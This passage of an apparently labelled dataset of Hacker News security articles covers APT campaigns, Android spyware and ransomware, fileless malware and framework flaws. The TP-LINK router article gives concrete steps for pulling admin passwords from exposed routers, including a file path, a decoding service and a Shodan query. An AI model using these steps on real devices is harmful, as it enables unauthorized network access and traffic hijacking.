""There were traces of HyperBro in the infected data center from mid-November 2017. Shortly after that different users in the country started being redirected to the malicious domain update.iaacstudio[.]com as a result of the waterholing of government websites,"" the researchers said in a blog post published today.
""These events suggest that the data center infected with HyperBro and the waterholing campaign are connected.""
As a result of the waterholing attack, the compromised government websites redirected the country's visitors to either penetration testing suite Browser Exploitation Framework (BeEF) that focuses on the web browser, or the ScanBox reconnaissance framework, which perform the same tasks as a keylogger.

The main command and control (C&C) server used in this attack is hosted on an IP address which belongs to a Ukrainian ISP, specifically to a MikroTik router running a firmware version released in March 2016.

Researchers believe the Mikrotik router was explicitly hacked for the campaign in order to process the HyperBro malware's HTTP requests without detection.

",Cyber_Attack
Beware: New Android Spyware Found Posing as Telegram and Threema Apps,https://thehackernews.com/2020/10/android-mobile-hacking.html,"A hacking group known for its attacks in the Middle East, at least since 2017, has recently been found impersonating legitimate messaging apps such as Telegram and Threema to infect Android devices with a new, previously undocumented malware.
""Compared to the versions documented in 2017, Android/SpyC23.A has extended spying functionality, including reading notifications from messaging apps, call recording and screen recording, and new stealth features, such as dismissing notifications from built-in Android security apps,"" cybersecurity firm ESET said in a Wednesday analysis.
First detailed by Qihoo 360 in 2017 under the moniker Two-tailed Scorpion (aka APT-C-23 or Desert Scorpion), the mobile malware has been deemed ""surveillanceware"" for its abilities to spy on the devices of targeted individuals, exfiltrating call logs, contacts, location, messages, photos, and other sensitive documents in the process.
In 2018, Symantec discovered a newer variant of the campaign that employed a malicious media player as a lure to grab information from the device and trick victims into installing additional malware.
Then earlier this year, Check Point Research detailed fresh signs of APT-C-23 activity when Hamas operators posed as young teenage girls on Facebook, Instagram, and Telegram to lure Israeli soldiers into installing malware-infected apps on their phones.
The latest version of the spyware detailed by ESET expands on these features, including the ability to collect information from social media and messaging apps via screen recording and screenshots, and even capture incoming and outgoing calls in WhatsApp and read the text of notifications from social media apps, including WhatsApp, Viber, Facebook, Skype, and Messenger.
The infection begins when a victim visits a fake Android app store called ""DigitalApps,"" and downloads apps such as Telegram, Threema, and weMessage, suggesting that the group's motivation behind impersonating messaging apps is to ""justify the various permissions requested by the malware.""
In addition to requesting invasive permissions to read notifications, turn off Google Play Protect, and record a user's screen under the guise of security and privacy features, the malware communicates with its command-and-control (C2) server to register the newly infected victim and transmit the device information.
The C2 servers, which typically masquerade as websites under maintenance, are also responsible for relaying the commands to the compromised phone, which can be used to record audio, restart Wi-Fi, uninstall any app installed on the device, among others.
What's more, it also comes equipped with a new feature that allows it to stealthily make a call while creating a black screen overlay to mask the call activity.
""Our research shows that the APT-C-23 group is still active, enhancing its mobile toolset and running new operations. Android/SpyC32.A – the group's newest spyware version — features several improvements making it more dangerous to victims,"" ESET said.
Apps downloaded from fraudulent third-party app stores has been a conduit for Android malware in recent years. It's always essential to stick to official sources to limit risk, and scrutinize permissions requested by apps before installing them on the device.

",Malware
"Exclusive: More than 200,000 Algerian TP-LINK Routers are vulnerable to Hackers",https://thehackernews.com/2014/01/TP-LINK-Routers-password-hacking.html,"More than 15.2% of the Algerian population use Internet service which is provided by around 30 Internet Service Providers and one of the largest shares is served by Algerie Telecom.

Algerie Telecom provides TP-LINK TD-W8951ND Router to most of their home customers who Opt-In for Internet services and each of which has ZYXEL embedded firmware installed in it.

ABDELLI Nassereddine, penetration tester and Algerian Computer Science Student has reported highly critical unauthorized access and password disclosure vulnerabilities in the Routers provided by Algerie Telecom.

He told 'The Hacker News' that the vulnerabilities can be exploited by any remote hacker just by exploiting a very simple loophole in the firmware.

First, he found that an unauthorized access is available to 'Firmware/Romfile Upgrade' Section on the Router's panel that can be accessed without any login password i.e. https://IP//rpFWUpload.htmlThis page actually allows a user to upgrade the Firmware of the router and also allows to download the Romfile Backup file (rom-0) i.e. https://IP address/rom-0 (as shown)

This Romfile contains the administrative password of the Router and can be retrieved in plain text by reverse engineering it using a free online service: https://50.57.229.26/zynos.php. One just need to upload the Romfile and can get plain text output easily. Router's password will be displaced in the very first line of the output, as shown below:
He claimed that he has tested the IP address range that belongs to Algeria i.e. 41.107. x. x and found thousands of them are vulnerable to hackers.

A Quick search on SHODAN Search Engine using keyword 'RomPager country:dz' showing more than 2,59,744 devices available on the Internet and 95% of them are now at risk.

ABDELLI also submitted an automated exploit POC script on GITHUB, that can scan the complete subnet for vulnerable routers and will display respective passwords on the screen, as shown:
I have tested the flaw over 100's of routers, and found this as a very critical bug. Simply by changing the DNS servers from the victim's router, one can redirect the users' traffic to any malicious server. Such attacks allow hackers to inject the malicious DNS server to perform advance phishing attacks against Facebook, Gmail, Bank Accounts and also whole system can also be compromised.

There is no patch yet available from the vendor, so to prevent yourself from such vulnerability you can forward port 80 to any other website or unused IP address of your network.

",Vulnerability
"Here's the Facebook Hacking Tool that Can Really Hack Accounts, But...",https://thehackernews.com/2016/02/facebook-hacking-tool.html,"Yes, you heard me right.

A newly discovered Facebook hacking tool actually has the capability to hack Facebook account, but YOURS, and not the one you desire to hack.

How to Hack Facebook account? How to Hack my Girlfriends Facebook account? My boyfriend is cheating on me, How do I hack his Facebook Account?

These are the queries that most of the Internet users search on Google.

But Beware! If you come across any Facebook hacking tool that promises you to help you hack your friends Facebook accounts, you may end up downloading a hacking tool that could hack you, instead of them.

Facebook Hacking Tool that Can Really Hack, But Your Accounts
Dubbed Remtasu, the tool is marketing itself as a Facebook hacking tool but actually is a Windows-based Trojan that has accelerated globally over the past year, and has now capability to disguise itself as an app for accessing people's Facebook account credentials.

The tool contains a Keylogger that can capture all your keystrokes and store them in a file that is subsequently sent to the attacker's server.

The malicious Facebook hacking tool is exploiting ""the constant desire of a lot of users to take control of accounts from this well-known social network,"" according to a Monday blog post by IT security company ESET.

How Remtasu Works:

The malicious tool is delivered via direct download websites.

Once a user visits one of these websites, the dangerous Win32/Remtasu.Y malware automatically gets downloaded and executed on victim's machine and hide itself among other files.

Remtasu has capability to:
Open and obtain information from the clipboard.
Capture keystrokes.
Store all the data in a file which is subsequently sent to an FTP server.

The worst part is yet to come:

The malware remains on the infected computer even when the victim reboots their system or attempts to find the malware threat in the list of active processes.

""In this case, the malware replicates itself, saving the copy in a folder that it also creates within the system32 folder,"" reads the post. ""The new InstallDir folder remains hidden inside the system files, making it difficult for users to access.""

Most affected parts of the world include Colombia, Turkey, Thailand and elsewhere. In past, Remtasu was distributed through malicious files attached to phishing emails purporting to be from legitimate government or businesses organisations.

",Malware
Tumblr Patches A Flaw That Could Have Exposed Users' Account Info,https://thehackernews.com/2018/10/tumblr-account-hacking.html,"Tumblr today published a report admitting the presence of a security vulnerability in its website that could have allowed hackers to steal login credentials and other private information for users' accounts.

The affected information included users email addresses, protected (hashed and salted) account passwords, self-reported location (a feature no longer available), previously used email addresses, last login IP addresses, and names of the blog associated with every account.

According to the company, a security researcher discovered a critical vulnerability in the desktop version of its website and responsibly reported it to the Tumblr security team via its bug bounty program.

Though the company has not revealed the researcher's name or any technical details about the vulnerability, Tumblr has disclosed that the flaw resided in the ""Recommended Blogs"" feature of its website.

Recommended Blogs has been designed to display a short, rotating list of blogs of other users that may be of interest. The feature appears only for logged-in users.

Tumblr also says:
""If a blog appeared in the module, it was possible, using debugging software in a certain way, to view certain account information associated with the blog.""
In short, your account could only be affected if it was recommended to some an attacker via the vulnerable feature.

The company fails to determine which specific accounts were recommended via the vulnerable feature, thus is unable to disclose the number of affected users, but it concludes that ""the bug was rarely present.""

Tumblr also assured that its internal investigation found no evidence of the bug being abused by an attacker.
""It's our mission to provide a safe space for people to express themselves freely and form communities around things they love,"" Tumblr says. ""We feel that this bug could have affected that experience. We want to be transparent with you about it. In our view, it's simply the right thing to do.""
Tumblr disclosure comes less than a week after Facebook announced its worst-ever security breach that allowed attackers to steal personal information, including secret access tokens, for 30 million users.

Also, over a week ago Google announced the shut down of its social media network Google+ following a massive data breach that exposed the private data of hundreds of thousands of Google Plus users to third-party developers.

Late last month, Twitter also revealed a similar security breach incident in which an API flaw inadvertently exposed direct messages (DMs) and protected tweets of more than 3 million people to unauthorized third-party app developers.

",Vulnerability
Turkish Hacker Crashes Google Play Store Twice while testing vulnerability,https://thehackernews.com/2014/03/turkish-hacker-crashes-google-play.html,"Last Weekend Google Play Store was crashed twice by a Turkish hacker when he tried to test vulnerability he discovered on the Android apps publishing system, known as Google's Developer Console.

Turkish hacker 'Ibrahim Balic' claimed responsibility for the Google Play Store attack and told 'The Hacker News', he found a flaw in the Android operating system while working with Android tools i.e. Compiler, debugger on his Emulators, that was crashing again and again. 'I successfully confirmed that it affects Android 4.2.2 , 4.3 and 2.3' he said.

Then he created an Android app to exploit the vulnerability, 'causes a possible memory corruption' and uploaded it to the Google's Developer Console.
Unfortunately, OR Luckily the malformed Android app crashed whole Google's Developer Console, and he didn't expect that the app will knock everyone offline from Play Store.

He was not sure about the outage caused by him or not, ""I just wanted to be sure about (the) vulnerability,"" so he uploaded the 'malformed APK file' again second time to the Google Play Store, that results in crash of Google Play Store, not once, but twice.
The first crashed around mid-day on Sunday and the same happened again on Monday when he tried a second time, leaving Android users unable to download new apps and games, and developers unable to update their own apps. However, the outage was so minimal that not many of us even noticed.

This is not the first time he messed up with app stores. Last July, Apple was forced to take its developer site offline after Ibrahim uncovered multiple vulnerabilities in it.

He also apologized for the inconvenience caused to his online fellows. ""I didn't have any malicious aim,"" Ibrahim said to CNN Money. ""I am so sorry for this damage.""

Ibrahim reported the flaw to the Google Security Team and has yet to hear back from them about the issue. The Play Store is becoming much wider, and Google should focus hard on their security parameters.

",Vulnerability
First Android Ransomware that Encrypts SD Card Files,https://thehackernews.com/2014/06/first-android-ransomware-that-encrypts.html,"We have seen cybercriminals targeting PCs with Ransomware malware that encrypts your files or lock down your computer and ask for a ransom amount to be paid in a specified duration of time to unlock it.

To deliver the Ransomware malwares to the mobile devices, cyber criminals have already started creating malicious software programs for android devices. Last month, we reported about a new Police Ransomware malware that locks up the devices until the victims pay a ransom to get the keys to unlock the phone. But, the malware just lock the mobile screen and a loophole in the its implementation allowed users to recover their device and data stored on SDcard.

Now, in an effort to overcome this, threat actors have adopted encryption in the development of mobile Ransomware malwares. Recently, the security firm ESET has discovered a new Android ransomware, dubbed as Android/Simplocker.A, that has ability to encrypt the files on the device SD card and then demand a ransom from the victim in order to decrypt those files.

Once installed, the malware scans the SD card for certain file types such as image, document or video with extensions - jpeg, jpg, png, bmp, gif, pdf, doc, docx, txt, avi, mkv, 3gp, mp4 and encrypts them using AES in a separate thread in the background. After encrypting the files, the malware displays the following ransom message, written in Russian, which clearly means that this threat is targeting Russian Android users.
""WARNING your phone is locked!
The device is locked for viewing and distributing child pornography , zoophilia and other perversions.
To unlock you need to pay 260 UAH.
1.) Locate the nearest payment kiosk.
2.) Select MoneXy
3.) Enter {REDACTED}.
4.) Make deposit of 260 Hryvnia, and then press pay. Do not forget to take a receipt!
After payment your device will be unlocked within 24 hours. In case of no PAYMENT YOU WILL LOSE ALL DATA ON your device!""
The Ransomware malware directs victim to pay the ransom amount i.e. 260 UAH, which is roughly equal to $21 US, through the MoneXy service, as this payment service is not easily traceable as the regular credit card.

To maintain anonymity the malware author is using the Command-and-Control server hosted on TOR .onion domain and the malware sends the information of the infected device such as IMEI number to its server. The researchers at ESET are still analysing the malware:
""Our analysis of the Android/Simplock.A sample revealed that we are most likely dealing with a proof-of-concept or a work in progress – for example, the implementation of the encryption doesn't come close to ""the infamous Cryptolocker"" on Windows.""
The researchers have found that the malware is capable to encrypt the victim's files, which could be lost if the decryption key is not retrieved from the malware author by paying the ransom amount, but on the other hand the researchers strongly advise users against paying fine, as their is no guarantee that the hacker will provide you decryption keys even after paying the amount.

Unfortunately, mobile antivirus products are only capable to detect such known/detected threats only and can't detect similar the new threats. So, it is important for you to always keep the back-up of all your files either manually on the computer system or use cloud backup services like dropbox, google drive etc, in order to protect it from the emerging threats.


",Malware
Tracy Morgan Dead? Facebook Scam Targeting Users with Malware,https://thehackernews.com/2014/06/tracy-morgan-dead-facebook-scam.html,"Oh MY God! Is Tracy Morgan Really Dead? NO, Thankfully it's only a hoax, but scammers announced the popular comedian and actor Tracy Morgan dead.

Another Facebook scam is circulating across the social networking website just a day before the former ""Saturday Night Live"" and ""30 Rock"" star Tracy Morgan was critically hurt in a six-vehicle fatal accident on the New Jersey Turnpike that killed his friend and writer 62-year-old James McNair.

With the rise in various scams on the popular social networking giant, Facebook that has more than one billion active users, it became very clear that not only does the social networking platform provide special opportunities for people to connect and share information, but serves as a great platform for scammers as well.

TOTAL SCAM LEADS TO MALWARE
Scammers spare no incident to target as many victims as possible, and this time they made use of this roadway accident to target users by spreading the fake Facebook videos proclaiming the death of Tracy Morgan.

Malwarebytes warned about the Morgan video scam, saying that the fake video tricks users into sharing it that are spreading throughout the social network, with the Title, ""[Death Video] R.I.P. Tracy Morgan died few minutes ago in hospital.""
Once clicked, users are directed to share the fake videos and along with the video sharing, the spam leads users to download a file, which could be anything from a Potentially Unwanted Program (PUP) to a malicious software that could steal users' sensitive or financial information from the infected system.

TRACY MORGAN DEAD? RUMORS REACHED TWITTER AS WELL
In response to this false news, people began tweeting that Tracy had passed away on June 10. The fake news spread like fire on the internet. Following are the tweets by his Fans:
JUST IGNORE IT
""Pay no attention to scammy and sensational sounding videos appearing on your Facebook feed and stick to trusted news sources for breaking stories and information,"" warned Malwarebytes. ""Surveys are always a pain, but scam sites offering up random redirects always carry the potential to be even more problematic – you simply never know where you're going to end up.""

We have seen various suspicious posts on Facebook, like ""See your Friend's naked video"", an app offering you a chance to see who has viewed your Facebook profile, and many more. Sometimes these scams are very obvious and easily avoidable, but many times they are irresistible and easy to fall for, like this new fake video scam.

SCAMS AT RISE, SO BE SAFE
With more tech skills, modern scammers have ability to reach billions of potential victims with just a single message or post, and their scams are getting more dangerous and critical day-by-day. Despite Facebook's security measures, safe and secured social networking rests in your own hands and if you aren't paying attention to such scams, you could fall for one such even without ever realizing.

So, if you are served with any suspicious link or post, do not try to click on it, no matter even if it's from your closest friend.

",Malware
Warning: Android Bitcoin wallet apps vulnerable to theft,https://thehackernews.com/2013/08/hacking-bitcoin-android-vulnerability-digital-wallets.html,"A critical vulnerability in the Android implementation of the Java SecureRandom random number generator was discovered, that leaves Bitcoin digital wallets on the mobile platform vulnerable to theft.

Before the announcement was made, users on the forums had noticed over 55 BTC were stolen a few hours after the client improperly signed a transaction using the compromised random number generator.
Bitcoin is a virtual currency that makes use of cryptography to create and transfer bitcoins. Users make use of digital wallets to store bitcoin addresses from which bitcoins are received or sent.

Bitcoin uses public-key cryptography so that each address is associated with a pair of mathematically linked public and private keys that are held in the wallet.

Because the problem is rooted in the operating system, every Bitcoin digital wallet generated by an Android app is affected by the weakness, including Bitcoin Wallet, blockchain.info wallet, Bitcoin Spinner, and Mycelium Wallet.

The developers have recommended that users generate a new address with a repaired random number generator and then send all the money in the wallet back to themselves. If you use an Android wallet then we strongly recommend you to upgrade to the latest version available in the Play Store as soon as one becomes available.

The virtual currency that can be transferred worldwide using peer-to-peer software is forcing bids to regulate it, including in the U.S. The Financial Crimes Enforcement Network of the U.S Department of the Treasury.

",Vulnerability
"Book Review: Hacking Point of Sale, In-Depth Study on Payment Applications",https://thehackernews.com/2014/05/book-review-hacking-point-of-sale-in.html,"Point-of-sale (POS) is the hottest topic in payment structures and its one of the most popular technology topics as well. A Point-of-sale (POS) machine is a computerized replacement for a cash register. It has ability to quickly process a customer's transaction, accurately keep the records, process credit and debit cards, connect to other systems in a network, and manage inventory.

A basic POS system would consist of a computer as its core part provided with application specific programs for the particular environment in which it will serve, along with a cash drawer, barcode scanner, receipt printer and the appropriate POS software. Point-of-sale (POS) terminals are used in most industries that have a point of sale such as a service desk, including restaurants, lodging, entertainment, and museums.

Due to the better track inventory and accuracy of records, the Point-of-sale (POS) machine is used worldwide and it can be easily set-up, depending on the nature of the business. But on the other hand, Point-of-sale (POS) systems are critical components in any retail environment and the users are not aware of the emerging threats it poses in near future.

Last week I read an excellent book entitled 'HACKING POINT OF SALE', written by Slava Gomzine, that summarizes, systemizes, and shares knowledge about payment application security.

In the Book, the author covers all the aspects of card payment processing from the security point of view that mainly depends on confidentiality, integrity, and availability.

In past few months, we have seen many massive data breaches targeting POS machines and the largest one is TARGET data breach occurred during the last Christmas holidays. The third-largest U.S. Retailer in which over 40 million Credit & Debit cards were stolen, used to pay for purchases at its 1500 stores nationwide in the U.S.

Not Target alone, multiple retailers including Neiman Marcus, Michaels Store were also targeted involving the heist of possibly 110 million Credit-Debit cards, and personal information.

Later, Target and other retailers confirmed that a malware was embedded in point-of-sale (POS) equipment at its checkout counters to collect secure data as the credit cards were swiped during transactions. That means the main theft resides in the company's POS system.

The Book 'Hacking Point of Sale: Payment Application Secrets, Threats, and Solutions' is all about the In-Depth technical information of attacks and vulnerabilities in Point-of-sale (POS) system, along with the extensive knowledge about the mitigation and protection measures.

THE BOOK WALKS THE READER THROUGH -
Technological overview of Electronic payment systems
POS applications architecture
Communication protocols
Attacks on Point-of-sale Systems
Step-by-step explanation of credit card fraud processes
POS payment application vulnerabilities and non-software attacks
Weak Encryption mechanisms and Poor key management
How to prevent attacks on payment applications using Cryptography
How to Protect the cardholders' sensitive information
How to protect the application itself by utilizing client and server certificates, digital signatures, and code obfuscation.
From a security perspective, the most critical risk lies in the payment process, because if the information that the customers hand over is captured somehow, the cyber criminals can use it to commit credit card frauds.

Also, many point-of-sale (POS) terminals are built using embedded versions of Microsoft Windows, which means that it is trivial for an attacker to create and develop malware that would run on a POS terminal.

Attackers can also steal the information by leveraging the weakness in the point-of-sale (POS) environment such as unprotected memory, unencrypted network transmission, poorly encrypted disk storage, card reader interface, or compromised pinpad device.

There are more than a billion active credit and debit card users in US alone, thus an active target for money motivated hackers. If we look at the figures, in 2011, POS terminals and payment card information was involved in almost 48% of security breaches which is more than any other data type breach.

Due to lack of concern and security measures, point-of-sale (POS) systems have become an attractive target for cybercriminals and to overcome the upcoming threats we should know its architecture, the areas of attacks and the defense measures.

Either you are a Developer, Security Architect , QA Analyst, Security Researcher or a Hacker, this book is really for you to grab the in-depth research of the point-of-sale (POS) systems, how it works, how it could be exploited, and what protection measures should be taken.

The Publisher 'Wiley' is offering a special 50% Discount on 'Hacking Point of Sale' book only for 'The Hacker News' readers, so get your copy today. Stay Tuned!

",Vulnerability
New Fileless Malware Uses DNS Queries To Receive PowerShell Commands,https://thehackernews.com/2017/03/powershell-dns-malware.html,"It is no secret that cybercriminals are becoming dramatically more adept, innovative, and stealthy with each passing day.

While new forms of cybercrime are on the rise, traditional activities seem to be shifting towards more clandestine techniques that involve the exploitation of standard system tools and protocols, which are not always monitored.

The latest example of such attack is DNSMessenger – a new Remote Access Trojan (RAT) that uses DNS queries to conduct malicious PowerShell commands on compromised computers – a technique that makes the RAT difficult to detect onto targeted systems.

The Trojan came to the attention of Cisco's Talos threat research group by a security researcher named Simpo, who highlighted a tweet that encoded text in a PowerShell script that said 'SourceFireSux.' SourceFire is one of Cisco's corporate security products.

DNSMessenger Attack Is Completely Fileless

Further analysis of the malware ultimately led Talos researchers to discover a sophisticated attack comprising a malicious Word document and a PowerShell backdoor communicating with its command-and-control servers via DNS requests.

Distributed through an email phishing campaign, the DNSMessenger attack is completely Fileless, as it does not involve writing files to the targeted system; instead, it uses DNS TXT messaging capabilities to fetch malicious PowerShell commands stored remotely as DNS TXT records.

This feature makes it invisible to standard anti-malware defenses.

PowerShell is a powerful scripting language built into Windows that allows for the automation of system administration tasks.
The malicious Word document has been crafted ""to appear as if it were associated with a secure e-mail service that is secured by McAfee,"" according to a blog post published by Talos researchers Edmund Brumaghin and Colin Grady on Thursday.

Here's How the DNSMessenger attack Works:

When opened, the document launches a Visual Basic for Applications (VBA) macro to execute a self-contained PowerShell script in an attempt to run the backdoor onto the target system.

What's interesting? Everything, until this point, is done in memory, without writing any malicious files to the system's disk.

Next, the VBA script unpacks a compressed and sophisticated second stage of PowerShell, which involves checking for several parameters of the target environment, like the privileges of the logged-in user and the version of PowerShell installed on the target system.

This information is then used to ensure persistence on the infected host by changing the Windows Registry and installing a third stage PowerShell script that contains a simple backdoor.

The backdoor is being added to the Windows Management Instrumentation (WMI) database, if the victim does have administrative access, allowing the malware backdoor to stay persistent on the system even after a reboot.

The backdoor is an additional script that establishes a sophisticated 2-way communications channel over the Domain Name System (DNS) – usually used to look up the IP addresses associated with domain names, but has support for different types of records.

The DNSMessenger malware backdoor uses DNS TXT records that, by definition, allows a DNS server to attach unformatted text to a response.

The backdoor periodically sends DNS queries to one of a series of domains hard-coded in its source code. As part of those requests, it retrieves the domain's DNS TXT record, which contains further PowerShell commands that are executed but never written to the local system.

Now, this ""fourth stage"" Powershell script is the actual remote control tool used by the malware attacker.

This script queries the command-and-control servers via DNS TXT message requests to ask what commands to execute. Any command received is then executed, and the output is communicated back to the C&C server, allowing the attacker to execute any Windows or application commands on the infected system.

All attackers need to do is leave malicious commands and instructions inside the TXT records of their domains, which, when queried, is executed via the Windows Command Line Processor, and the output is sent back as another DNS query.

The domains registered by the DNSMessenger RAT are all down, so till now, it is not known that what types of commands the attackers relayed to infected systems. However, the researchers say this particular RAT was used in a small number of targeted attacks.
""This malware sample is an excellent example of the length attackers are willing to go to stay undetected while operating within the environments that they are targeting,"" the Talos researchers said.
""It also illustrates the importance that in addition to inspecting and filtering network protocols such as HTTP/HTTPS, SMTP/POP3, etc. DNS traffic within corporate networks should also be considered a channel that an attacker can use to implement a fully functional, bidirectional C2 infrastructure.""
This is not the first time when the researchers came across a Fileless malware. At early last month, Kaspersky researchers also discovered fileless malware, that resides solely in the memory of the compromised computers, targeting banks, telecommunication companies, and government organizations in 40 countries.

",Malware
Remote Execution Flaw Threatens Apps Built Using Spring Framework — Patch Now,https://thehackernews.com/2018/04/spring-framework-hacking.html,"Security researchers have discovered three vulnerabilities in the Spring Development Framework, one of which is a critical remote code execution flaw that could allow remote attackers to execute arbitrary code against applications built with it.

Spring Framework is a popular, lightweight and an open source framework for developing Java-based enterprise applications.

In an advisory released today by Pivotal, the company detailed following three vulnerabilities discovered in Spring Framework versions 5.0 to 5.0.4, 4.3 to 4.3.14, and older unsupported versions:
Critical: Remote Code Execution with spring-messaging (CVE-2018-1270)
High: Directory Traversal with Spring MVC on Windows (CVE-2018-1271)
Low: Multipart Content Pollution with Spring Framework (CVE-2018-1272)

Vulnerable Spring Framework versions expose STOMP clients over WebSocket endpoints with an in-memory STOMP broker through the 'spring-messaging' module, which could allow an attacker to send a maliciously crafted message to the broker, leading to a remote code execution attack (CVE-2018-1270).

""The use of authentication and authorization of messages, such as the one provided by Spring Security, can limit exposure to this vulnerability only to users who are allowed to use the application,"" the company suggests.

The second bug (CVE-2018-1271) resides in Spring's Web model-view-controller (MVC) that allows attackers to execute directory traversal attack and access restricted directories when configured to serve static resources (e.g., CSS, JS, images) from a file system on Windows.

This vulnerability doesn't work if you are not using Windows to serve content and can be avoided if you don't serve files from the file system or use Tomcat/WildFly as the server.

Pivotal has released Spring Framework 5.0.5 and 4.3.15, which include fixes for all the three vulnerabilities. The company has also released Spring Boot 2.0.1 and 1.5.11, that match the patched Spring Framework versions.

So developers and administrators are highly recommended to upgrade their software to the latest versions immediately.

",Vulnerability
Unpatched Python and Java Flaws Let Hackers Bypass Firewall Using FTP Injection,https://thehackernews.com/2017/02/python-java-ftp-protocol-injection.html,"This newly discovered bugs in Java and Python is a big deal today.

The two popular programming languages, Java and Python, contain similar security flaws that can be exploited to send unauthorized emails and bypass any firewall defenses.

And since both the flaws remain unpatched, hackers can take advantage to design potential cyber attack operations against critical networks and infrastructures.

The unpatched flaws actually reside in the way Java and Python programming languages handle File Transfer Protocol (FTP) links, where they don't syntax-check the username parameter, which leads to, what researchers call, protocol injection flaw.

Java/Python FTP Injection to Send Unauthorized SMTP Emails
In a blog post published over the past week, security researcher Alexander Klink detailed the FTP protocol injection vulnerability in Java's XML eXternal Entity (XXE) that allows attackers to inject non-FTP malicious commands inside an FTP connection request.

To demonstrate the attack, Alexander showed how to send an unauthorized email via SMTP (Simple Mail Transfer Protocol) in an FTP connection attempt, even though the FTP connection failed, as FTP servers does support authentication, but doesn't check for the present of carriage returns (CR) or line feeds (LF) in usernames.
""This attack is particularly interesting in a scenario where you can reach an (unrestricted, maybe not even spam- or malware-filtering) internal mail server from the machine doing the XML parsing,"" Alexander concluded.

Java/Python FTP Injections Allow to Bypass Firewall

However, two days later in a separate security advisory, security researcher Timothy Morgan from Blindspot Security came forward with his findings, showing more threatening exploitation scenario where the FTP URL handlers in both Java and Python can be used to bypass firewalls.

Morgan said such FTP protocol injection flaw could be used to trick a victim's firewall into accepting TCP connections from the web to the vulnerable host's system on its ""high"" ports (from 1024 to 65535).

Besides the FTP protocol injection attack, there's reside a decade old security issue in FTP protocol called classic mode FTP – an insecure mechanism of client-server FTP interactions, but many firewall vendors still support it by default.

When a classic mode FTP connection is initiated, the firewall temporarily opens a port – typically between 1024 and 65535 – specified in the PORT command, which introduces security risks.

Using the FTP protocol injection issue in Java and Python, an attacker who knows the targeted host's internal IP address can start a classic mode FTP connection, which attackers can use for nefarious purposes.

Morgan has determined that an attacker can open up one port in the targeted firewall with only three requests:
Identify the victim's internal IP address – this requires an attacker to ""send an URL, see how the client behaves, then try another until the attack is successful.""
Determine packet alignment and ensure that the PORT command is injected at the right moment, making the attack work.
Exploit the vulnerability.

Each additional request can be used to open up another TCP port.

Easily Exploitable Protocol Injection Flaw

However, the researcher warned that his exploit could be used for man-in-the-middle (MitM) attacks, server-side request forgery (SSRF), an XEE attack and more – and once bypassed the firewall, desktop hosts can be attacked even if they do not have Java installed.

All an attacker need is to convince victims into accessing a malicious Java or Python applications installed on a server to bypass the entire firewall.
""If a desktop user could be convinced to visit a malicious website while Java is installed, even if Java applets are disabled, they could still trigger Java Web Start to parse a JNLP (Java Network Launch Protocol) file,"" Morgan said. ""These files could contain malicious FTP URLs which trigger this bug.""
""Also note, that since Java parses JNLP files before presenting the user with any security warnings, the attack can be entirely successful without any indication to the user (unless the browser itself warns the user about Java Web Start being launched).""
According to Morgan, a nearly identical flaw also exists in Python's urllib2 and urllib libraries, although ""this injection appears to be limited to attacks via directory names specified in the URL.""

Protocol Injection Flaw Is Still Unpatched

Morgan said the FTP protocol injection flaw was reported to the Python team in January 2016 and Oracle in November 2016 by his company, but neither of the two has issued any update to address the issue.

Morgan has developed a proof-of-concept (PoC) exploit but is currently holding back publication of his exploit until Oracle and Python respond to the disclosure and release patches.

The Morgan's exploit has successfully been tested against Palo Alto Networks and Cisco ASA firewalls, though researchers believe many commercial firewalls are also vulnerable to FTP stream injection attacks.

So until patches become available, Morgan suggests users uninstall Java on their desktops and in browsers, as well as disable support for ""classic mode"" FTP on all firewalls.

",Cyber_Attack
Iframe Injection & Blind SQL Injection vulnerability on Apple.com exposed by Idahc(lebanese hacker),https://thehackernews.com/2011/07/iframe-injection-blind-sql-injection.html,"Iframe Injection & Blind SQL Injection vulnerability on Apple.com exposed by Idahc(lebanese hacker)


After Sony hacks, Idahc(lebanese hacker) is back to strike Apple.com . He found two vulnerability on https://consultants.apple.com/ as listed below.


Iframe Injection : Click here
Blind SQL INjection: Click Here


Examples of the injections:
Example One
Example two


Two days before Another sub-domain of Apple's database was hacked with SQL injection by Anonymous : Read Here


Hacker Expose the Database ,extracted using Blind Sql injection on a pastebin link.
According to Hacker ""I am Idahc(lebanese hacker) I found a Blind SQLI and Iframe Injection on AppleI am not one of Anonymous or Lulzsecand I am against The ANTISEC OPERATIONBUt this is a poc with not confidential informationI didn't dump users,emails,passwords........"".

",Vulnerability
WildPressure APT Emerges With New Malware Targeting Windows and macOS,https://thehackernews.com/2021/07/wildpressure-apt-emerges-with-new.html,"A malicious campaign that has set its sights on industrial-related entities in the Middle East since 2019 has resurfaced with an upgraded malware toolset to strike both Windows and macOS operating systems, symbolizing an expansion in both its targets and its strategy around distributing threats.
Russian cybersecurity firm attributed the attacks to an advanced persistent threat (APT) it tracks as ""WildPressure,"" with victims believed to be in the oil and gas industry.
WildPressure first came to light in March 2020 based off of a malware operation distributing a fully-featured C++ Trojan dubbed ""Milum"" that enabled the threat actor to gain remote control of the compromised device. The attacks were said to have begun as early as August 2019.
""For their campaign infrastructure, the operators used rented OVH and Netzbetrieb virtual private servers (VPS) and a domain registered with the Domains by Proxy anonymization service,"" Kaspersky researcher Denis Legezo noted last year.
Since then, new malware samples used in WildPressure campaigns have been unearthed, including a newer version of the C++ Milum Trojan, a corresponding VBScript variant with the same version number, and a Python script named ""Guard"" that works across both Windows and macOS.
The Python-based multi-OS Trojan, which extensively makes of publicly available third-party code, is engineered to beacon the victim machine's hostname, machine architecture, and OS release name to a remote server and check for installed anti-malware products, following which it awaits commands from the server that allow it to download and upload arbitrary files, execute commands, update the Trojan, and erase its traces from the infected host.
The VBScript version of the malware, named ""Tandis,"" features similar capabilities to that of Guard and Milum, while leveraging encrypted XML over HTTP for command-and-control (C2) communications. Separately, Kaspersky said it found a number of previously unknown C++ plugins that have been used to gather data on infected systems, such as recording keystrokes and capturing screenshots.
What's more, in what appears to be an evolution of the modus operandi, the latest campaign — besides relying on commercial VPS — also weaved compromised legitimate WordPress websites into their attack infrastructure, with the websites serving as Guard relay servers.
To date, there's neither clear visibility regarding the malware spreading mechanism nor any strong code- or victim-based similarities with other known threat actors. However, the researchers said they spotted minor ties in the techniques used by another adversary called BlackShadow, which also operates in the same region.
The ""tactics aren't unique enough to come to any attribution conclusion – it's possible both groups are simply using the same generic techniques and programming approaches,"" Legezo said.

",Cyber_Attack
New Android malware forwards incoming messages to hacker,https://thehackernews.com/2013/05/android-malware-that-sends-incoming.html,"A new type of Android malware that can intercept text messages and forwarding to hackers is discovered by the Russian firm Doctor Web. This is a very serious threat to users, because using this malware attackers can easily get two factor authentication code of your Email or bank accounts.
